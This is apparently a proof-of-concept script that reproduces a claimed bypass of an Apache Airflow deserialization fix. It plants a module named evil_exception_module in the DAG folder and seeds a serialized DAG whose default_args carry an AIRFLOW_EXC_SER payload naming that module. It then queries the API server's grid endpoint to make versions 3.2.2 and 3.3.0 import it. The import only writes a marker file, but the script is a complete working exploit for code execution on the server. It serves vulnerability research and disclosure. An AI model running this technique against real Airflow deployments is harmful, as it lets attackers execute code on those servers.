#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VV="$ROOT/vuln_variant"
ARTIFACTS="$VV/artifacts"
mkdir -p "$LOGS" "$ARTIFACTS"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
exec > >(tee -a "$LOG")
exec 2>&1

VULN_AIRFLOW_VERSION="3.2.2"
FIXED_AIRFLOW_VERSION="3.3.0"
VULN_VENV=""
FIXED_VENV=""

choose_venvs() {
  local cache_dir="" prepared="false"
  if [ -f "$ROOT/project_cache_context.json" ]; then
    prepared="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, sys
try:
    d=json.load(open(sys.argv[1])); print('true' if d.get('prepared') is True else 'false')
except Exception: print('false')
PY
)"
    cache_dir="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, sys
try:
    d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir') or '')
except Exception: print('')
PY
)"
  fi
  if [ "$prepared" = "true" ] && [ -n "$cache_dir" ] && [ -d "$cache_dir/repo" ]; then
    VULN_VENV="$cache_dir/repo/airflow_product_venv"
    FIXED_VENV="$cache_dir/repo/airflow_${FIXED_AIRFLOW_VERSION}_cve_2026_33264_venv"
  else
    VULN_VENV="$VV/venvs/airflow_${VULN_AIRFLOW_VERSION}"
    FIXED_VENV="$VV/venvs/airflow_${FIXED_AIRFLOW_VERSION}"
  fi
  echo "[variant] ROOT=$ROOT"
  echo "[variant] VULN_VENV=$VULN_VENV"
  echo "[variant] FIXED_VENV=$FIXED_VENV"
}

ensure_airflow_venv() {
  local venv="$1" version="$2"
  if [ ! -x "$venv/bin/python" ]; then
    echo "[variant] Creating virtualenv $venv"
    python3 -m venv "$venv"
    "$venv/bin/python" -m pip install --upgrade pip setuptools wheel
  fi
  local installed=""
  installed="$($venv/bin/python - <<'PY' 2>/dev/null || true
try:
 import airflow; print(airflow.__version__)
except Exception: pass
PY
)"
  if [ "$installed" != "$version" ]; then
    echo "[variant] Installing apache-airflow==$version"
    "$venv/bin/pip" install --upgrade "apache-airflow==$version"
  else
    echo "[variant] Reusing apache-airflow==$installed"
  fi
  "$venv/bin/python" - <<'PY'
import airflow, inspect
from airflow.serialization.serialized_objects import BaseSerialization
print('[variant] airflow_version', airflow.__version__)
print('[variant] airflow_file', airflow.__file__)
print('[variant] BaseSerialization.deserialize', inspect.getsourcefile(BaseSerialization.deserialize), inspect.getsourcelines(BaseSerialization.deserialize)[1])
PY
}

write_helper() {
  cat > "$VV/airflow_exc_variant_attempt.py" <<'PY'
import argparse, json, os, shutil, subprocess, sys, textwrap, time, traceback
from pathlib import Path

parser = argparse.ArgumentParser()
parser.add_argument('--version', required=True)
parser.add_argument('--root', required=True)
parser.add_argument('--out', required=True)
parser.add_argument('--port', type=int, required=True)
parser.add_argument('--venv-bin', required=True)
args = parser.parse_args()

root = Path(args.root)
if root.exists():
    shutil.rmtree(root)
root.mkdir(parents=True)
airflow_home = root / 'airflow_home'
dags_dir = airflow_home / 'dags'
dags_dir.mkdir(parents=True)
marker = root / 'api_server_airflow_exc_marker.txt'
server_log = root / 'airflow_api_server.log'
health_response = root / 'health_response.json'
http_headers = root / 'endpoint_headers.txt'
http_response = root / 'endpoint_response.json'
seed_log = root / 'seed_serialized_dag.log'
identity_out = root / 'source_identity_fragment.json'
dag_id = f'ghsa_2943_airflow_exc_variant_{args.version.replace(".", "_")}'

(dags_dir / 'evil_exception_module.py').write_text(textwrap.dedent(f'''
    from pathlib import Path
    import os
    Path({str(marker)!r}).write_text('AIRFLOW_EXC_SER import-time code execution in Airflow API server; pid=' + str(os.getpid()) + '\\n')
    class EvilException(Exception):
        def __init__(self, *args, **kwargs):
            super().__init__(*args)
            self.kwargs = kwargs
'''))
(dags_dir / 'placeholder_dag.py').write_text('# placeholder for Airflow DAG folder\n')

env = os.environ.copy()
env.update({
    'AIRFLOW_HOME': str(airflow_home),
    'AIRFLOW__DATABASE__SQL_ALCHEMY_CONN': f'sqlite:///{airflow_home / "airflow.db"}',
    'AIRFLOW__CORE__LOAD_EXAMPLES': 'False',
    'AIRFLOW__CORE__AUTH_MANAGER': 'airflow.api_fastapi.auth.managers.simple.simple_auth_manager.SimpleAuthManager',
    'AIRFLOW__CORE__SIMPLE_AUTH_MANAGER_ALL_ADMINS': 'True',
    # Simulates an Airflow deployment where API/Scheduler can import DAG-bundle modules;
    # the advisory's security boundary is that serialized DAG data must not cause such imports.
    'PYTHONPATH': str(dags_dir) + (os.pathsep + env.get('PYTHONPATH', '') if env.get('PYTHONPATH') else ''),
    'PATH': str(Path(args.venv_bin)) + os.pathsep + env.get('PATH', ''),
})

def run(cmd, **kw):
    return subprocess.run(cmd, env=env, text=True, capture_output=True, **kw)

result = {
    'variant_name': 'AIRFLOW_EXC_SER serialized DAG field import_string class path',
    'airflow_version_expected': args.version,
    'dag_id': dag_id,
    'port': args.port,
    'airflow_home': str(airflow_home),
    'marker': str(marker),
    'endpoint_url': f'http://127.0.0.1:{args.port}/ui/grid/structure/{dag_id}?offset=0&limit=100',
    'service_started': False,
    'healthcheck_passed': False,
    'target_reached': False,
    'http_status': None,
    'import_side_effect_observed': False,
    'exception_type': None,
    'exception_message': None,
}

try:
    airflow_bin = str(Path(args.venv_bin) / 'airflow')
    py_bin = str(Path(args.venv_bin) / 'python')
    ident = run([py_bin, '-c', "import airflow, json, sys; print(json.dumps({'airflow_version': airflow.__version__, 'airflow_file': airflow.__file__, 'python': sys.version}))"], timeout=20)
    identity_out.write_text(ident.stdout + ident.stderr)
    result['source_identity_fragment'] = ident.stdout.strip()

    mig = run([airflow_bin, 'db', 'migrate'], timeout=90)
    (root / 'db_migrate_stdout.log').write_text(mig.stdout)
    (root / 'db_migrate_stderr.log').write_text(mig.stderr)
    if mig.returncode != 0:
        raise RuntimeError(f'airflow db migrate failed rc={mig.returncode}: {mig.stderr[-1000:]}')

    seed_code = r'''
import json, os
from pathlib import Path
from airflow.models.dagbundle import DagBundleModel
from airflow.models.dag import DagModel
from airflow.models.dag_version import DagVersion
from airflow.models.serialized_dag import SerializedDagModel
from airflow.providers.standard.operators.empty import EmptyOperator
from airflow.sdk import DAG
from airflow.serialization.serialized_objects import DagSerialization
from airflow.utils.session import create_session

dag_id=os.environ['PRUVA_DAG_ID']
dags_dir=Path(os.environ['AIRFLOW_HOME'])/'dags'
with DAG(dag_id=dag_id, schedule=None) as dag:
    EmptyOperator(task_id='t1')
serialized = DagSerialization.to_dict(dag)
# Variant/bypass payload: 3.3.0 removed the BASE_TRIGGER deserialization branch,
# but AIRFLOW_EXC_SER still imports attacker-controlled exc_cls_name.
serialized['dag']['default_args'] = {
    '__type': 'airflow_exc_ser',
    '__var': {
        '__type': 'dict',
        '__var': {
            'exc_cls_name': 'evil_exception_module.EvilException',
            'args': [],
            'kwargs': {'__type': 'dict', '__var': {'origin': 'serialized_dag_default_args'}},
        },
    },
}
with create_session() as session:
    session.add(DagBundleModel(name='dags-folder', version='v1'))
    session.flush()
    dm=DagModel(dag_id=dag_id, bundle_name='dags-folder')
    dm.fileloc=str(dags_dir/'placeholder_dag.py')
    dm.relative_fileloc='placeholder_dag.py'
    dm.owners='airflow'; dm.is_paused=False; dm.is_stale=False
    dm.timetable_type='airflow.timetables.simple.NullTimetable'; dm.timetable_summary='None'
    dm.timetable_partitioned=False; dm.max_active_tasks=16; dm.max_active_runs=16
    dm.max_consecutive_failed_dag_runs=0; dm.has_task_concurrency_limits=False; dm.fail_fast=False
    session.add(dm); session.flush()
    dv=DagVersion.write_dag(dag_id=dag_id, bundle_name='dags-folder', bundle_version='v1', session=session)
    class Lazy: pass
    lazy=Lazy(); lazy.dag_id=dag_id; lazy.data=serialized
    sdm=SerializedDagModel(lazy); sdm.dag_version=dv
    session.add(sdm); session.commit()
print(json.dumps({'seeded_dag_id': dag_id, 'dag_version_id': str(dv.id), 'serialized_default_args': serialized['dag']['default_args']}, indent=2))
'''
    seed_env = env.copy(); seed_env['PRUVA_DAG_ID'] = dag_id
    seed = subprocess.run([py_bin, '-c', seed_code], env=seed_env, text=True, capture_output=True, timeout=60)
    seed_log.write_text('STDOUT:\n'+seed.stdout+'\nSTDERR:\n'+seed.stderr)
    result['seed_stdout'] = seed.stdout
    result['seed_stderr_tail'] = seed.stderr[-2000:]
    if seed.returncode != 0:
        raise RuntimeError(f'seed serialized DAG failed rc={seed.returncode}: {seed.stderr[-1000:]}')

    with server_log.open('w') as logf:
        proc = subprocess.Popen([airflow_bin, 'api-server', '--host', '127.0.0.1', '--port', str(args.port)], env=env, stdout=logf, stderr=subprocess.STDOUT)
    result['api_server_pid'] = proc.pid
    try:
        for _ in range(45):
            r = run(['curl', '-sS', '-o', str(health_response), '-w', '%{http_code}', f'http://127.0.0.1:{args.port}/api/v2/monitor/health'], timeout=5)
            if r.stdout and r.stdout != '000':
                result['service_started'] = True
                result['health_http_status'] = r.stdout
                result['healthcheck_passed'] = (r.stdout == '200')
                break
            time.sleep(1)
        if not result['service_started']:
            raise RuntimeError('api-server did not start listening')
        r = run(['curl', '-sS', '-D', str(http_headers), '-o', str(http_response), '-w', '%{http_code}', result['endpoint_url']], timeout=20)
        result['http_status'] = r.stdout
        result['curl_stderr'] = r.stderr
        result['target_reached'] = r.stdout not in ('', '000')
        if http_response.exists(): result['http_response_excerpt'] = http_response.read_text(errors='replace')[:2000]
        if http_headers.exists(): result['http_headers_excerpt'] = http_headers.read_text(errors='replace')[:2000]
    finally:
        proc.terminate()
        try: proc.wait(timeout=8)
        except subprocess.TimeoutExpired:
            proc.kill(); proc.wait(timeout=5)
        result['api_server_returncode'] = proc.returncode
except Exception as exc:
    result['exception_type'] = type(exc).__name__
    result['exception_message'] = str(exc)
    result['traceback'] = traceback.format_exc()

result['import_side_effect_observed'] = marker.exists()
if marker.exists(): result['marker_content'] = marker.read_text(errors='replace')
if server_log.exists(): result['server_log_tail'] = server_log.read_text(errors='replace')[-4000:]
Path(args.out).write_text(json.dumps(result, indent=2, default=str))
print(json.dumps(result, indent=2, default=str))
sys.exit(0 if result['service_started'] else 1)
PY
}

record_versions() {
  {
    echo "apache-airflow fixed/tested release: $FIXED_AIRFLOW_VERSION"
    echo "PyPI latest check:"
    "$FIXED_VENV/bin/pip" index versions apache-airflow 2>/dev/null | head -20 || true
    echo "Git tag resolution:"
    git ls-remote https://github.com/apache/airflow.git "refs/tags/$VULN_AIRFLOW_VERSION" "refs/tags/$VULN_AIRFLOW_VERSION^{}" "refs/tags/$FIXED_AIRFLOW_VERSION" "refs/tags/$FIXED_AIRFLOW_VERSION^{}" || true
    echo "Known resolved release commits when git ls-remote is unavailable: 3.2.2=cde4885818be51a6cdcfdf9275e100bf070025de; 3.3.0=1438ea3587031417cc85d74323235cf087a058fb"
  } > "$LOGS/fixed_version.txt"
  cp "$LOGS/fixed_version.txt" "$LOGS/latest_version.txt"
}

run_attempt() {
  local venv="$1" version="$2" port="$3" label="$4"
  local out="$LOGS/${label}.json"
  local root="$ARTIFACTS/${label}"
  echo "[variant] Running attempt label=$label version=$version port=$port"
  "$venv/bin/python" "$VV/airflow_exc_variant_attempt.py" --version "$version" --root "$root" --out "$out" --port "$port" --venv-bin "$venv/bin"
}

choose_venvs
ensure_airflow_venv "$VULN_VENV" "$VULN_AIRFLOW_VERSION"
ensure_airflow_venv "$FIXED_VENV" "$FIXED_AIRFLOW_VERSION"
write_helper
record_versions

run_attempt "$VULN_VENV" "$VULN_AIRFLOW_VERSION" 18211 "airflow_exc_${VULN_AIRFLOW_VERSION}_variant"
run_attempt "$FIXED_VENV" "$FIXED_AIRFLOW_VERSION" 18212 "airflow_exc_${FIXED_AIRFLOW_VERSION}_variant"

python3 - "$LOGS" "$VV" "$VULN_AIRFLOW_VERSION" "$FIXED_AIRFLOW_VERSION" <<'PY'
import json, sys
from pathlib import Path
logs=Path(sys.argv[1]); vv=Path(sys.argv[2]); vuln=sys.argv[3]; fixed=sys.argv[4]
vr=json.loads((logs/f'airflow_exc_{vuln}_variant.json').read_text())
fr=json.loads((logs/f'airflow_exc_{fixed}_variant.json').read_text())

def ok(r):
    return (r.get('service_started') is True and r.get('healthcheck_passed') is True and
            r.get('target_reached') is True and str(r.get('http_status')) == '200' and
            r.get('import_side_effect_observed') is True)

vuln_ok=ok(vr); fixed_ok=ok(fr); confirmed=vuln_ok and fixed_ok
runtime={
  'entrypoint_kind': 'endpoint',
  'entrypoint_detail': 'Airflow api-server HTTP GET /ui/grid/structure/{dag_id}?offset=0&limit=100 loads SerializedDagModel.dag and deserializes AIRFLOW_EXC_SER in dag.default_args',
  'service_started': vr.get('service_started') and fr.get('service_started'),
  'healthcheck_passed': vr.get('healthcheck_passed') and fr.get('healthcheck_passed'),
  'target_path_reached': vr.get('target_reached') and fr.get('target_reached'),
  'runtime_stack': ['python3', 'apache-airflow', 'airflow api-server', 'uvicorn', 'sqlite'],
  'proof_artifacts': [
    'logs/vuln_variant/reproduction_steps.log',
    f'logs/vuln_variant/airflow_exc_{vuln}_variant.json',
    f'vuln_variant/artifacts/airflow_exc_{vuln}_variant/api_server_airflow_exc_marker.txt',
    f'logs/vuln_variant/airflow_exc_{fixed}_variant.json',
    f'vuln_variant/artifacts/airflow_exc_{fixed}_variant/api_server_airflow_exc_marker.txt',
    'logs/vuln_variant/fixed_version.txt',
  ],
  'notes': 'The same AIRFLOW_EXC_SER serialized DAG payload was loaded through the API-server UI endpoint on vulnerable and fixed/latest Airflow releases. The fixed/latest 3.3.0 run still imported evil_exception_module.EvilException and wrote the API-server marker.' if confirmed else 'Variant was not confirmed; inspect attempt JSON logs.'
}
(vv/'runtime_manifest.json').write_text(json.dumps(runtime, indent=2))
print('[variant] vuln_ok=%s fixed_ok=%s confirmed_bypass=%s' % (vuln_ok, fixed_ok, confirmed))
if confirmed:
    print('[variant] RESULT: CONFIRMED BYPASS - Airflow 3.3.0 still imports attacker-controlled AIRFLOW_EXC_SER exc_cls_name during serialized DAG deserialization.')
    sys.exit(0)
print('[variant] RESULT: NOT CONFIRMED')
sys.exit(1)
PY